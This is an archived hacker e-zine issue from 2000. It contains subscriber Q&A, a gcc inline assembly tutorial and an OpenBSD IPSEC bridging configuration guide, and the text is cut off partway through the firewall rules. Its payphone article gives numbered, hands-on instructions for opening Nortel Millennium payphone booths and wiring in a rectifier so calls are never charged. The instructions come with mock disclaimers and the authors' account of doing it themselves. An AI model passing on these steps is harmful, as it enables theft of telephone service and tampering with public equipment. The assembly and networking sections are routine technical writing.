Power Hacker 2003

home *** CD-ROM | disk | FTP | other *** search

/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / napalm / napalm-8.txt < prev next >

Wrap

Text File | 2002-05-27 | 52.5 KB | 1,390 lines

/\ /^/_ _ __ __ _|^|_ __ ___ / \/ / _` '_ \/ _` | | '_ ` _ \ / /\ / (_| |_) (_| | | | | | | | / / \/ \__, .__/\__,_|_|_| |_| |_| |_| . . . ..n8: 2000.11.28 --------------------------------------------------------------------------- all content copyright ⌐ 2000 by the individual authors. all rights reserved --------------------------------------------------------------------------- # prtvtoc . . . ..................................................................... 0x00 Editor's Comments 0x01 URLs 0x02 Subscriber Emails 0x03 Fun with Nortel M1231 Millennium Payphones 0x04 AT&T Assembly Syntax 0x05 IPSEC Bridging Under OpenBSD 0x06 Security Holes in Sun Cluster 2.x 0x07 Music Reviews 0x08 Credits ..................................................................... . . . _________________________________ ------------------------- - kynik [=] 0x00: Editor's Comments Of course this issue is not as long as the previous one, but we've got a decent spread of articles this time, and no music review. See that section for details. For those of you writing articles for Napalm, please keep these guidelines in mind, not that these are problems, just for the simple fact that I need to write them down somewhere: 1) Spell check I do correct any spelling errors I find, and Ajax does the same on his second pass. We also correct grammar mistakes, but those are more acceptable, since there's many many free spell checkers out there. 2) Spaces after periods One space after a period. I remove doubles by hand because I don't like it. Two spaces messes up the linebreaking and makes the whole issue longer. 3) No tabs Some people read these issues in their mail readers, and in various browsers. Don't use tabs to align columns and such. Use plain spaces, even if it seems wasteful to do so. I'd rather have the issues a little larger than have something look messed up on 10% of people's machines. 4) Line length Try not to make your lines longer than 75 characters or so. Some people read the issues in small windows. I personally hate having to stretch a window to read a file, or to have lines wrapping that only have a single word on them. You know what I mean. 5) Two space indentation This is just a personal preference of mine, so it overrides yours. And besides, it gives indentation without taking too much space. See #2. 6) You can submit anonymously If you have something cool you'd like to write, but you don't want to be recognized for whatever reason, we'll be more than happy to keep your email address unlisted or post the whole article anonymously. If anybody has any questions, you know where to reach me: kynik@firest0rm.org ____________________ ------------ - kynik [=] 0x01: URLs Free Software Developer's Community http://advogato.org/ Q&A about the Freedom of Information Act (FOIA) http://cpsr.org/cpsr/foia/foia_q&a.txt Good listing of commonly-scanned ports http://www.sans.org/y2k/ports.htm _________________________________ ------------------------- - kynik [=] 0x02: Subscriber Emails BlackOP007 <HELLSCREAM612@prodigy.net> writes: hey there, im a 17 year old in need of some answers. i plan on attending college soon and would like to know what classes to take to help with my interest in becoming a network security analyst. I am fascinated with the world of computers and security and would greatly appreciate any help you can give me. BlackOP007 [ I'd suggest anything that interests you, but that's a cop out, so here's a list of what I'd recommend: Intro to Networking, (covers transport protocols, hardware, media, routing, etc.) C/C++ programming, (gotta write your personal utilities in something) Intro to Operating Systems, maybe Artificial Intelligence and if they have a class for it, Data Security. Not all schools will have the same selection as others (I was fortunate enough to graduate from a larger state school, so I had a broad range to choose from. It all depends on what interests you. Don't take classes just to get a certain job. You will change your mind before you're out of school. Take the classes that you like the most, and let it go from there. {kynik} ] *********************************** Javier Llamas <jllamas@tab1.bal.com.mx> wrote: Hi: I've checked out your articles for the 1st time and I think they're really cool. Thing is that I didn't understand as much as I would've liked to. So my question is... could you give me some sort of reference to get started on learning the VERY basics? I'm not intrested in cracking systems, but on fixing security holes (although I'm intrested on learning mostly anything... Thanks, bye [ Unfortunately, many people get this same question every day. You need to be more specific as to what you mean by the basics. Do you want to know more about a particular operating system, or maybe about how the web pages in your browser get to you? If you find something that you don't understand, dig around (google.com is good) first to find what information you can, then if you run into trouble understanding something, feel free to ask a specific question. For good places to start online, check out securityfocus.com or hackernews.com. {kynik} ] __________________________________________________________________________ -------------------------------------------------- - Flame0ut/PrussianSnow [=] 0x03: Fun with Nortel M1231 Millennium Payphones Toll Signalling And Collection Technology on Nortel M1231 Millennium Payphones ........ And The Circumvention Thereof (Or, "How We Didn't Pay For A Couple Of Phone Calls") A self-aggrandizing account by Flame0ut and PrussianSnow Published Around Late 2000 Or Something ******** [ Standard disclaimer applies here: You use this for criminal activities, and you will probably be punished. We won't bail you out, nor do we take any responsibility for your use of this information. Knowledge is good. All hail the giant pulsing brain. {kynik} ] One of the most common questions asked by young telephone enthusiasts in Canada is, "Can I red box Millennium phones?" The answer, my friend, is no. But some background first. The Millennium phone (model M1231) is an advanced payphone manufactured by Northern Telecom. A good deal of documentation concerning these phones is available on the Internet and through Northern Telecom (1-800-4-NORTEL), but to quickly list some of their "features": - They have an LED screen displaying the current time, date, and a programmable message. - They accept (in Canada) nickels, dimes, quarters and loonies, as well as magnetic cards such as Bell Calling Cards and smartcards such as Bell Quickchange Cards. - The dialing system is multi-layered and involves several firmware systems; that is to say, the dialpad itself isn't responsible in any way for making DTMF, but rather requesting another system to do so. Note that if DTMF tones are played loudly into the microphone, they will be displayed on the LED screen. - ACTS does NOT listen to these lines. Millennium Phones produce no tones when coins are deposited - the line an M1231 sits on is free for dialing out anywhere in the world with no blocking by an Automated Coin Toll System. The only thing blocking you from dialing out on these lines is the payphone itself, which does not actually pick up the line and enable the microphone until it determines that a sufficient amount has been deposited. Note that the dialtone you hear when you pick up the phone is internally generated, and the numbers you "dial" are only actually dialled after the money is collected. This, of course, is significant for our purposes. - When a long-distance number is dialed from the payphone, it displays a message along the lines of "Getting Rates, please wait..." While this message is displayed, a modem in the payphone is dialing an internally-stored number to another modem, presumably at the telephone company, from which it gets the rate for the number you have dialed. In my area, this number is in the 416 area code, and it can easily be gleaned by tapping the payphone line and recording then decoding the DTMF. One could even, theoretically, record the exchange between the modems and then play it into a modem that is in "silent answer" mode to observe what happens during the connection, and possibly figure out the protocol/commands used. Which, of course, would be immoral and wrong. But I digress. Millennium Payphones, and indeed, most payphones out there, store any coins you deposit in a temporary area until the line called is actually answered. As long as it is ringing or you get a busy signal or an error message, your money is not taken, and if you hang up before the line is actually answered you get your money back. It occurred one day to PrussianSnow and I to wonder how this happens - that is, how the payphone knows that the line was answered. We'd heard of payphones in which the toll signalling was done with tones generated by the CO - on a payphone line, the central office would generate tones telling the phone to return or take your coins depending on the circumstances; however, we've never directly observed this method. Fortuitously, PrussianSnow some time later discovered from Northern Telecom's website that one of the requirements for installing an M1231 was "a phone line capable of current reversal". This is, of course, how the tolling is signalled. Making a call from an M1231 works as such: - You dial a number, which is then stored internally. - The payphone waits for, collects, and verifies your money. - When a sufficient amount is deposited, the payphone goes off-hook and dials the number you entered. At this point your money is in the temporary area. - The microphone is enabled (which is also significant). - While the number you've called is ringing, the line current is positive on ring and negative on tip, as is standard. - The line is answered. The CO detects this and flashes a voltage reversal down the payphone line - for a moment, it is negative on ring and positive on tip. - The payphone detects this flash, swallows your money, and enables the dialpad. The voltage is normal (positive ring, negative tip) for the rest of the call. There are a few alternatives - for instance, when a toll-free number is dialed, no voltage flash occurs so the dialpad must be enabled as soon as the number is dialed. Note that you can make tones while an 800 number is ringing, but not during a local one. The circumvention of this is obvious, and an example of the futility of placing the bulk of your security within reach of the end user (to be pedantic for a moment). You do not need to stop this voltage flash from happening, but rather, simply to stop the payphone from detecting it. Once this is done, the payphone will never receive a signal to swallow your money (or debit your Quickchange Card, as it were), and it will simply think that the line is ringing for the duration of your call. The CO will know better, but that is irrelevant. Four diodes, when hooked together so as to convert AC to DC, are collectively referred to as a full-wave rectifier (which can be purchased as a single component). Quite simply, a rectifier has 2 inputs and 2 outputs, and its purpose is to force the polarity of the outputs to be constant no matter what the polarity of the inputs. Hence, when a rectifier is wired between the line and the payphone, the polarity can be forced to always be positive on ring and negative on tip. [ I nominate that this be called a Flame Box, after its inventor, but nobody probably cares what I think. (Or maybe a Snow Box?) {kynik} ] Right, enough theory. It's time to get For Educational Purposes Only on your ass, and talk about some application and installation. Our prototype of this fingle was a full-wave rectifier of an unknown rating (which happily proved to be enough - these things are generally used on house current AC so many handle up to 110V or 220V with 2 or 4 amps, or more), wired up to a DPDT switch with 3 states -- unrectified, no flow at all (broken line -- no real reason for this one), and rectified polarity. It took PrussianSnow 40 minutes with his head stuck in the top of an M1231 booth off the side of a highway at midnight to get this thing wired up, but it worked the first time much to our orgasmic delight. (Educational purposes only) It shouldn't really take that long to hook up, but this was the first one ever made so nyah. In our example, we'll be using just a rectifier with no DPDT. Installation is simple, and I'll list it in little steps with numbers beside so you don't accidentally do them out of order and hurt yourself. Stuff to bring: - 1 pair of pliers - 1 full-wave rectifier [ Flame box! Flame box! {kynik} ] - 1 slot-head screwdriver - a couple of quarters or something - A flashlight couldn't hurt - And neither could some strippers - Some gloves would be nice, so you don't get any small shocks - And some biscuits, perhaps some Saltines or something of the like - anything crunchy and delicious will do. - Alligator clips or crimpers would be nice. 1. Locate the phone box for the payphone, or anywhere in the line where you can easily cut it and splice in the rectifier. The phone box, of course, is preferable. In a standard Millennium phonebooth, the plastic "ceiling" is hinged on one side and latched in at the other with 2 "tamper-proof" screws, which can be coerced out with a slot-head screwdriver. You need only turn them about half a revolution. 2. Once the ceiling is swung down, you will have access to the phone box as well as the 110-volt outlet which powers the lightbulb and the payphone. Some booths have a power switch for the payphone. Don't touch anything you don't have to, unless you want to. And you should want to. You can make funny things happen. Note that the light takes a long time to power up once unplugged and plugged back in. 3. Look at the phone box and eat a biscuit. Be contemplative. Note that there are two main terminals - the one on the right has the ring wires; a red one going to the phone, and a blue one coming from the line. The left terminal, tip, will have a green wire going to the phone and a white wire going to the line. If these should vary, just trust that the right terminal is ring, and positive. In some phones it's actually the red and green that go to the phone line rather than the phone - just figure out where the wires go, christ, it's not all that hard. Geez. Whiner. 4. Loosen the nuts on the terminal bolts with the pliers you so fortuitously brought along. Try not to let the green or red wires come off the bolts, as that would be a pain you don't need. Pull out the blue and white wires. 5. Run the blue wire (or whatever wire was on the right terminal) to an AC input for the rectifier, and run the white wire (or whatever) to the other AC input. You can attach them with gator clips, clothing-pins, crimpers or whatever. Maybe you could bring a soldering iron and some solder, unplug the phone, plug your iron in, wait a couple of minutes while it heats up, then solder the wires together, unplug your iron, wait for it to cool down, put it away, and plug the phone back in. That would be a story to tell. 6. Run the positive output to the right terminal and the negative output to the left terminal. You can attach them by putting them behind the nuts and tightening them again. 7. If the phone is still working, that's a good sign. Pick it up and dial a number local to you. It will ask for a quarter. Deposit one. 8. If the number is dialed and the call goes through, you haven't broken anything. If the number is dialed and you just hear silence, or the LED screen declares "Phone Not In Service", check all your rectifier connections and, as a last resort, assume that I've completely forgotten whether ring is positive or negative and flip your output polarity. Sorry. 9. Hold your breath. When the line is answered, the CO will send the polarity-flip-flash. When it hits your rectifier, it will turn into normal polarity and nothing will happen. So, when the line is answered, the payphone won't take your money. At this point you may jump around shouting gleefully. 10.Hang up the phone. Your money will fall into the coin-return slot. Clink. And that's that. The payphone is now, quite simply, free to use. Flip the ceiling back up and screw the latches back in. Let's talk, now, about caveats. - You need to have the money that the call would cost you or, for a long- distance call, the money for the first minute (the timer will never actually begin). A Quickchange card would be nice in this case. You'll get it all back in the end, and the card will simply never get debited. - Since the phone receives no polarity flash, and since the dialpad only activates when it receives one, you may not use the dialpad while on local or long-distance calls. Bring your tone generator if you want to use a VMB or anything. Since toll-free calls produce no polarity flip, the payphone must enable the dialpad as soon as it dials the number, as mentioned before (pay attention!). - The M1231 may disconnect a call if it goes too long without being answered to the payphone's knowledge. I have no example of this happening, but it would only make sense. At any rate, you have at LEAST 5 minutes. Probably more. Quite possibly this doesn't happen at all, and I'm just a paranoid fuck. - This will likely work on any Millennium phone (M1231, M1232, and so on) as well as any other payphone that uses this signalling. - Oddly enough, if you dial "0" from the phone, the operator will not be able to hear you. We've yet to determine why this is, since there are no other issues with microphone enabling. - Your rectifier may well get diked out when the phone company sees that the payphone in question has made $0.00 in revenue for the last month and a half. (Um, this seems to have been an understatement - note the "update" at the bottom of this document!) For this reason, you may want to make your rectifier togglable. Let's discuss this. To date, we've not determined a really good way to toggle the rectification. Ours had a DPDT switch but we have to pull down the ceiling to get at it, so gah. We've considered things such as a mercury switch sitting on the plastic ceiling so that you can toggle it by giving the ceiling a good thump (Fonzie-style), a relay in the circuit with part of the circuit going into the booth and the other going into a wire that we could hang through a corner of the ceiling, so that one could toggle the rectification by holding the wire against the side of the booth... we've even considered drilling a hole through the back of the booth and sticking a switch through it. Whatever. At any rate, I've gone on long enough and I'm tired. So, this is, of course, all for educational purposes only, and neither PrussianSnow nor I (Flame0ut) take any responsibility for anything this document may cause anyone to do. Note that if NorTel would just make the microphone not activate until the voltage flash, this method would be moot. It's a shame, really. Enjoy! ---- Update, about six months later: Yes, we wrote this document a long time ago and doddled about publishing it. Some things have happened since which we feel are worth noting. Firstly: - Nortel no longer owns the M123X payphone line, it's been sold to a company called Quortech who seems very twitchy about sending out manuals (can't imagine why?) - Our prototype device and payphone have been removed. Both of them. Completely. Our proof-of-concept phone was loaded into a truck and taken away for good. It took them five months, but the first ever creation of this device is now in the hands of Bell Canada, godspeed to it. That's about all. ------- Questions? Concerns? PrussianSnow and Flame0ut can be reached at the l0pht bbs at bbs.l0pht.com That is all. ------- [ Or I can relay messages to them if you send to napalm@firest0rm.org or kynik@firest0rm.org {kynik} ] _____________________________________ ---------------------------- - Orbitz [=] 0x04: AT&T Assembly Syntax If you are like me, you thought it would be an awesome idea to mix ASM in with your C/C++ programs, using gcc or DJGPP. There is only one catch: gcc uses AT&T style syntax. Anyways, you have two choices. One, you can give up on inline ASM in gcc and go download NASM. NASM compiles Intel syntax Assembly into an object file format which gcc can read and then you can compile it into the rest of your C code. Your other choice is to learn AT&T syntax. It isn't all that hard, really. This article will give you the limited knowledge you will need in order to do basic inline ASM. It should also be known, I suck at writing. I'm no fan of dry material, but it seems it is the only thing I am capable of - read at your own risk. Prerequisites: You need to know how to write at least some x86 Architecture Assembly. This is a must. You can get some x86 ASM help at http://www.firest0rm.org/asm/ In The Beginning There Was The Syntax...: First, the syntax. Most of the operations are almost identical to their Intel counterparts. Lets imagine you want to put ax into bx. Intel style: mov bx, ax AT&T Style: movw %ax, %bx You'll notice at first those %'s. A % designates the operand a register. A $ is put before immediates. That includes user defined variables as well as numbers. Also notice the order. AT&T goes opcode src, dest while Intel goes opcode dest, src. Last, notice the w hitched onto mov. The 'w' means 'word'. If I wanted to put eax into ebx it would look like: movl %eax, %ebx (The 'l' meaning 'long') Now say you want to put the value 2 into ax. Intel: mov ax, 2 AT&T: movw $2, %ax Some misc. examples: xorl %eax, %eax movw $myword, %ax movb $1, %ah There are a few operations which are completely different. Here is a list: AT&T Intel ------------------------------------------------------------ movswl %ax, %ebx movsx ebx, ax cwtd cwd cwtl cwde cltd cdq lret $X ret far X ljmp $S,$O jump far S:O lcall $S,$O call far S:O The movswl line may need some further explanation. Intel has the movsx, and movzx operations while AT&T has movs and movz with a minor difference. In the example I am moving ax, a word, into ebx, a long. The size of the source and destination are on the operation. If I were moving al into ebx I would have done movsbl %al, %ebx. Operations such as rep stosd should be on SEPARATE lines, with stosd following the rep. That goes for all operations that have a prefix. The Allmighty Memory References: Memory references are, of course very, important to assembly. AT&T and Intel's syntax are pretty different. Intel's resembles: segment:[base + index * scale + disp] and in AT&T: segment:disp(base, index, scale) Pretty weird, huh? Some examples: AT&T Intel -------------------------------------------------------------------- movl 10(%edp), %ecx mov ecx, [edp+10] addl (%eax, %eax, 10), %ecx add ecx, [eax + eax*10] movb $10, %fs:(%eax) mov fs:eax, 10 movl 4(,%eax,10), %eax mov eax, [10*eax + 4] Notice that 4 doesn't have a $ infront of it. In memory references you do not use the $ before constants. With jumps you should use byte displacement most of the time. If a byte displacement won't do, then a long is used, which is 32-bits. There are some opcodes which are only byte displacements. The list: jcxz jecxz loop loopz loope loopnz loopne Here is an example of 'jcxz foo', from the gas (gnu assembler) manual: jcxz cx_zero jmp cx_nonzero cx_zero: jmp foo cx_nonzero: I Couldn't Think of a Clever Name For This Section: I think that is all the AT&T Syntax you need to know for now; time for inline ASM in gcc. The function you'll use for inline ASM (well, sorta function. It doesn't quite follow standard C/C++ syntax, but whatever) looks like __asm__(asm statements : outputs : inputs : registers-modified); What does all this mean, you are asking yourself? Well, 'asm statements' is your code. 'outputs' is a constraint followed by a name in parentheses, separated by commas. Same for 'inputs'. 'registers-modified' are separated by commas as well. You do not have to use all of these, just as you need them. I'll get around to each one, but first... Here is a simple inline ASM example for you: __asm__(" pushl %eax\n popl %eax" ); [ For me? You shouldn't have! {kynik} ] This is fairly straight forward example. All it does is push eax to the stack, then pop it off again. Notice that the operations are surrounded by a pair of quotes. Also, the \n after each operation except the last where it is not needed. I found that in newer versions of gcc the \n was not necessary, however I recommend using it for style. Yet another example, using the input field. int yousuck = 1; __asm__(" pushl %%eax\n movl %0, %%eax\n addl $50, %%eax\n movl %%eax, %0\n popl %%eax" : : "g" (yousuck) ); Pretty insane isn't it? Let me explain. First I'm making an integer 'yousuck', which equals 1. Then in my ASM I'm saving eax, so I don't lose whatever wonderful data was in there. Why does eax have a %% in front of it, and what is this %0, you ask? Well, since we are inputting a variable, gcc makes %0 through %however-many-you-input the input variables, then to easily distinguish between your input variables and registers, registers now take two %'s and the input variables take a %. Not too confusing if you think about it. Let's say you had 5 input variables, they would be %0, %1, %2, %3, and %4. Ok, so then I move the value of yousuck into eax, add 50 to it and move it back to yousuck. Finally I pop eax, restoring its original value. What is this "g" (yousuck) stuff? "g" is our constraint, and yousuck is the variable we are inputting. The "g" tells gcc that we don't care where it puts our variable yousuck, just as long as we have access to it. I'm told gcc might even optimize, if you are lucky. If you want to tell gcc where to put your variable, there are other constraints. The list: Constraint Meaning ------------------------------------------------------- r load into any available register a put it into eax b put it into ebx c put it into ecx d put it into edx D put it into edi S put it into esi This list works for all the fields in the __asm__ function that take constraints. Here is an example which uses three inputs. int yousuck = 1, yousmell = 2, alot = 3; __asm__(" pushl %%eax\n movl %0, %%eax\n addl %1, %%eax\n addl %2, %%eax\n movl %%eax, %0\n popl %%eax" : : "g" (yousuck), "g" (yousmell), "g" (a lot) ); This simple example puts yousuck into eax, then adds the other two inputs to it then moves it back into yousuck. yousuck should now equal the sum of 1+2+3, which is 6. The next step is the output field of the __asm__ function. The truth is, I have yet to find much of a difference between the two fields, but whatever. You should know how to use it anyways. Here is an example using the output: int yousuck = 1; __asm__(" pushl %%eax\n movl %0, %%eax\n addl $1337, %%eax\n movl %%eax, %0\n popl %%eax" : "=g" (yousuck) ); Basically, the only difference is you need to add a = in the constraint. In the tests I have done, I can use output basically exactly as input. If anyone has any idea what the difference is, please let me know. Next step, output and input at the same time. You are probably wondering how this will work. If output field uses the same numbering system (%0, %1, %2, etc) as input, won't they overwrite each other and all? No. It goes like this %0 through %however-many-in-the-output-field correspond to your variables for the output field, and %however-many-in-the-output-field+1 to %however-many-in-the-input-field + %however-many-in-the-output-field. I should chose shorter fake variable names, but oh well. Here is an example: int yousuck = 0, yousmell = 2, youaredumb = 3; __asm__(" pushl %%eax\n movl %1, %%eax\n addl %2, %%eax\n movl %%eax, %0\n popl %%eax" : "=g" (yousuck) : "g" (yousmell), "g" (youaredumb) ); What's this do? It puts the value of yousmell into eax, adds the value of youaredumb to it, then puts it into yousuck. For further clarification, %0 = yousuck, %1 = yousmell, %2 = youaredumb. Simple, right? The part of the __asm__ function we need to address is the registers-modified part. This is to handle whatever registers we are destroying. I rarely use this due to the fact I'm man enough to handle the pushing and popping of the registers I'm modifying on my own. If I weren't pushing and popping eax, my examples would look more like: int yousuck = 1; __asm__(" movl %0, %%eax\n addl $1, %%eax\n movl %%eax, %0" : : "g" (yousuck) : "eax", "memory" ); As you can see, I put eax in as the register we modified. This mean that if necessary, gcc will take care of eax so we don't demolish it. The memory keyword after that is used since we are modifying the register. You should use that almost 100% of the time, unless you don't use the registers-modified field. One thing you should be made aware of is the __volatile__ addition to __asm__. With a normal __asm__ declaration, gcc will change, and optimize your inline ASM as it sees fit. You most likely do not want gcc to touch your code; this is what __volatile__ does. __volatile__ will tell gcc that this is your code and not to touch it. Here is an example: int yousuck = 1; __asm__ __volatile__(" pushl %%eax\n movl %0, %%eax\n addl $1, %%eax\n movl %%eax, %0\n popl %%eax" : : "g" (yousuck) ); Now gcc won't modify your code in the slightest, which is a nice feature. All that worked in a standard __asm__ function will work with __volatile__. If you name locations in your code numbers, then in order for gcc to know if you are giving it a specific memory area, or a user defined location, you need to add an 'f' or 'b' postfix. The postfix indicates forward or backwards in the code. An example: __asm__ __volatile__(" 1:\n jmp 2f\n 2:\n jmp 1b" ); As you can see, when I jumped forward to the 2, I put an 'f' after and when I jumped back words to the 1, I put a 'b' in. As far as I have been able to see, you only run into this problem with numeric jump locations. If I were to name them Start, and End instead of 1 and 2, I would not need the f or b. That is all I have been able to think of over the past few weeks. I would like to thank www.linuxassembly.org for their awesome tutorials, and The QuickASM Programming Guide (linked off the linuxassembly page). These sites taught me how to do AT&T syntax and inline. gcc -S myfile.c was also a big help. Questions and nice comments should be send to orbitz@firest0rm.org Bitches should be directed towards IDon'tCare@firest0rm.org Orbitz [ Orbitz, I've set up the alias IDon'tCare to point to you, if that's okay with you ;) {kynik} ] _____________________________________________ ------------------------------------ - _azure [=] 0x05: IPSEC Bridging Under OpenBSD IPSEC Bridging Under OpenBSD (or: Plugging Holes With Your Fingers) Intro In a previous article I outlined one method for integrating Windows networks into a secure VPN with IPSEC and Samba. This time around I'm going to demonstrate an alternative method of achieving what is essentially the same functionality in a completely different way. Your mileage may have varied in trying to juggle separate subnets, identical/different Domains, and NetBIOS integrity across your VPN. In this instance the connection we'll create is not tied to any particular proprietary protocols or services; yet may actually end up serving your purposes in a more ideal fashion. It is also a much simpler method of joining remote Local Area Networks that may not need to be functionally separated at all. Cutting directly to the chase: IPSEC bridging is essentially the same as the traditional interface bridging you are already familiar with. One minor exception is that the OSI layer-2 information is propagated across the VPN instead of merely across your physical hardware. Generally however: As above, so below. For our purposes in this example we will bridge two remote LANs; each with physically separate internal and external interfaces. [Net-1]----> [bridge1/IPF] <--------> [bridge2/IPF] <----[Net-2] An interface on Net-1 is bridged to an interface on Net-2. Ethernet frames are encapsulated and sent across the VPN where they are stripped out and placed back on the wire by the bridging code itself. The OpenBSD boxes will be serving only as hardware bridging devices - we will not concern ourselves with how users gain access to the Internet in general. It is not even necessary for the client machines to know the bridges exist (or to have normal Internet connectivity at all, for that matter). Unlike in the previous article, this time OpenBSD is *completely* transparent to endusers. .Configuring OpenBSD's Implementation This will differ depending on your particular installation of OpenBSD. The syntax for ipsecadm(8) has changed with every release since its integration into the base operating system. The examples included in this document will assume OpenBSD 2.8-RELEASE. Leaving aside the politics of our multi-party system (*BSD, Linux, etc.), OpenBSD is a robust player in the UNIX game; and also includes all the tools we need in its default install. ..Customizing and Patching the Kernel for Load However, customizing the kernel to fit specific hardware is always a good idea. It cuts down the size of the file that is loaded into memory; thus increasing system performance. There are also changes you can make to maximize networking performance. Some additional options you'll want to include in your config before recompiling are: option IPFORWARDING option IPFILTER option IPFILTER_LOG option NMBCLUSTERS = 8192 For additional information on tuning, see the OpenBSD performance tuning FAQ: [ http://www.openbsd.org/faq/faq11.html#11.1 ] Patches should also be applied accordingly. At the time of this writing, no patches have been issued for OpenBSD 2.8. Information on versions prior to 2.8 is available at: [ http://www.openbsd.org/errata.html ] [ And you don't want to be running 2.7 or previous, a lot of IPsec bugs have been fixed in 2.8. Besides which, I'm pretty sure some of the syntax to brconfig and ipsecadm changed, so this article might not work at all. {ajax} ] You will need to edit /etc/rc.conf to activate IPFILTER and IPNAT at boot time. You will also need to have net.inet.ip.forwarding=1 in your /etc/sysctl.conf file. Reboot and rinse. ..IFCONFIG, BRCONFIG and IPSECADM An IPSEC bridge is configured using standard command line tools. An ENC interface is added to the bridge with brconfig(8), and associated with existing SAs using ifconfig(8). ipsecadm is used to create the relevant IPSEC flows. Finally, all interfaces are brought up and layer-2 information begins to travel across the VPN. An example configuration is provided below. First of all we'll need to generate keys for the IPSEC transactions: # openssl rand 20 | hexdump -e '20/1 "%02x"' > KEYFILE_LOCATION # openssl rand 20 | hexdump -e '20/1 "%02x"' > AUTHKEYFILE_LOCATION Then we construct a two-node IPSEC bridge as follows: On both OpenBSD boxes: # brconfig bridge0 add ENC_INTERFACE PRIVATE_INTERFACE # brconfig bridge0 blocknonip (to block non-ip traffic) # brconfig bridge0 link1 (to block ip multicasts) # ipsecadm new esp -spi SPI1 -dst BRIDGE2_PUBLIC_IP -src \ BRIDGE1_PUBLIC_IP -enc blf -auth sha1 -keyfile \ KEYFILE_LOCATION -authkeyfile AUTHKEYFILE_LOCATION # ipsecadm new esp -spi SPI2 -dst BRIDGE1_PUBLIC_IP -src \ BRIDGE2_PUBLIC_IP -enc blf -auth sha1 -keyfile \ KEYFILE_LOCATION -authkeyfile AUTHKEYFILE_LOCATION On BRIDGE1: # ipsecadm flow -dst BRIDGE2_PUBLIC_IP -in -transport etherip \ -require -addr BRIDGE1_PUBLIC_IP 255.255.255.255 \ BRIDGE2_PUBLIC_IP 255.255.255.255 # ifconfig ENC_INTERFACE dstsa BRIDGE2_PUBLIC_IP/SPI1/esp # ifconfig ENC_INTERFACE srcsa BRIDGE1_PUBLIC_IP/SPI2/esp # ifconfig PRIVATE_INTERFACE up (if not already up) # ifconfig ENC_INTERFACE up # brconfig bridge0 up On BRIDGE2: # ipsecadm flow -dst BRIDGE1_PUBLIC_IP -in -transport etherip \ -require -addr BRIDGE2_PUBLIC_IP 255.255.255.255 \ BRIDGE1_PUBLIC_IP 255.255.255.255 # ifconfig ENC_INTERFACE dstsa BRIDGE1_PUBLIC_IP/SPI2/esp # ifconfig ENC_INTERFACE srcsa BRIDGE2_PUBLIC_IP/SPI1/esp # ifconfig PRIVATE_INTERFACE up (if not already up) # ifconfig ENC_INTERFACE up # brconfig bridge0 up It is not strictly necessary for INTERNAL_INTERFACE to have an IP address on either side of the VPN. ..Viewing Stats and Turning the Bridge Off To view a table of MAC addresses functioning on your bridge at any time, use: # brconfig -a which produces results similar to: bridge0: flags=0<> Interfaces: Addresses (max cache: 100, timeout: 240): bridge1: flags=0<> Interfaces: Addresses (max cache: 100, timeout: 240): To disable the bridge and remove the IPSEC SAs, use: # brconfig bridge0 delete ENC_INTERFACE # brconfig bridge0 delete INTERNAL_INTERFACE # brconfig bridge0 down # ifconfig ENC_INTERFACE down # ifconfig ENC_INTERFACE clearsa 0.0.0.0/0/0 This will return your system to normal (pre-bridge) status. ...Too Lazy To Type I have again written a short perl utility to construct ifconfig(8), brconfig(8) and ipsecadm(8) rules against user-supplied network information. ipsec_bridge_2.8.pl can be retrieved from: [ http://azure.gh0st.net/perl/ipsec_bridge_2.8.pl ] [ Or it can be grabbed from napalm's main page, under addenda. {kynik} ] You can run the output of this utility on both ends of your would-be VPN to initialize an IPSEC bridge between private interfaces (as is described in detail above). Specific information on the mechanics of IPSEC and bridging themselves are beyond the scope of this article, but can be gleaned from relevant man pages and freely available reference elsewhere on the Internet. ..Filtering For Bandwidth's Sake It all sounds great until you realize that broadcast information on your LAN is also going to be transmitted across your limited bandwidth VPN connection. With Windows-based machines on your network this can quickly spell disaster. Fortunately, the ancient ones have sprinkled the golden dust of their approval upon our efforts: IPF. ...IPF Stateful packet filtering with IPF can protect the bridge from external 'influence' while keeping the frames passing across the VPN from overwhelming both upstream connections. In this example we will filter broadcasts as they come in on the INTERNAL_INTERFACE before they are handed off to the bridge. Keep in mind that a separate filtering rule will have to be added for each network that touches the bridging interface. Other possibilities include filtering on the bridge interface itself. (See brconfig(8) for details on filtering at the bridge level.) Included below is a sample template for configuring IPF: xxx.xxx.xxx = relevant portion of the external IP on BRIDGE1 yyy.yyy.yyy = relevant portion of the internal IP on BRIDGE1 aaa.aaa.aaa = relevant portion of the external IP on BRIDGE2 bbb.bbb.bbb = relevant portion of the internal IP on BRIDGE2 on BRIDGE1: # /etc/ipf.rules # # block everything by default unless another rule says otherwise block in log level local0.info on EXTERNAL_INTERFACE # block spoofed traffic on external interfaces block in quick on EXTERNAL_INTERFACE from 127.0.0.0/8 to any block in quick on EXTERNAL_INTERFACE from 10.0.0.0/8 to any block in quick on EXTERNAL_INTERFACE from 172.16.0.0/12 to any block in quick on EXTERNAL_INTERFACE from 192.168.0.0/24 to any block in quick on EXTERNAL_INTERFACE from any to xxx.xxx.xxx.0/32 block in quick on EXTERNAL_INTERFACE from any to xxx.xxx.xxx.255/32 # block broadcast traffic from the internal network block in quick on INTERNAL_INTERFACE from any to yyy.yyy.yyy.0/32 block in quick on INTERNAL_INTERFACE from any to yyy.yyy.yyy.255/32 # pass traffic out from EXTERNAL_INTERFACE and from INTERNAL_NETWORK pass out quick on EXTERNAL_INTERFACE proto tcp/udp from \ BRIDGE1_EXTERNAL_IP/32 to any keep state pass out quick on EXTERNAL_INTERFACE proto icmp from \ BRIDGE1_EXTERNAL_IP/32 to any keep state pass out quick on EXTERNAL_INTERFACE proto tcp/udp from \ BRIDGE1_INTERNAL_NETWORK/24 to any keep state # pass IPSEC traffic for bridge0 and enc1 pass in quick proto esp from BRIDGE2_EXTERNAL_IP/32 to \ BRIDGE1_EXTERNAL_IP/32 pass out quick proto esp from BRIDGE1_EXTERNAL_IP/32 to \ BRIDGE2_EXTERNAL_IP/32 pass in quick on enc1 from BRIDGE2_INTERNAL_NETWORK/24 to \ BRIDGE1_INTERNAL_NETWORK/24 on BRIDGE2: # /etc/ipf.rules # # block everything by default unless another rule says otherwise block in log level local0.info on EXTERNAL_INTERFACE # block spoofed traffic on external interfaces block in quick on EXTERNAL_INTERFACE from 127.0.0.0/8 to any block in quick on EXTERNAL_INTERFACE from 10.0.0.0/8 to any block in quick on EXTERNAL_INTERFACE from 172.16.0.0/12 to any block in quick on EXTERNAL_INTERFACE from 192.168.0.0/24 to any block in quick on EXTERNAL_INTERFACE from any to aaa.aaa.aaa.0/32 block in quick on 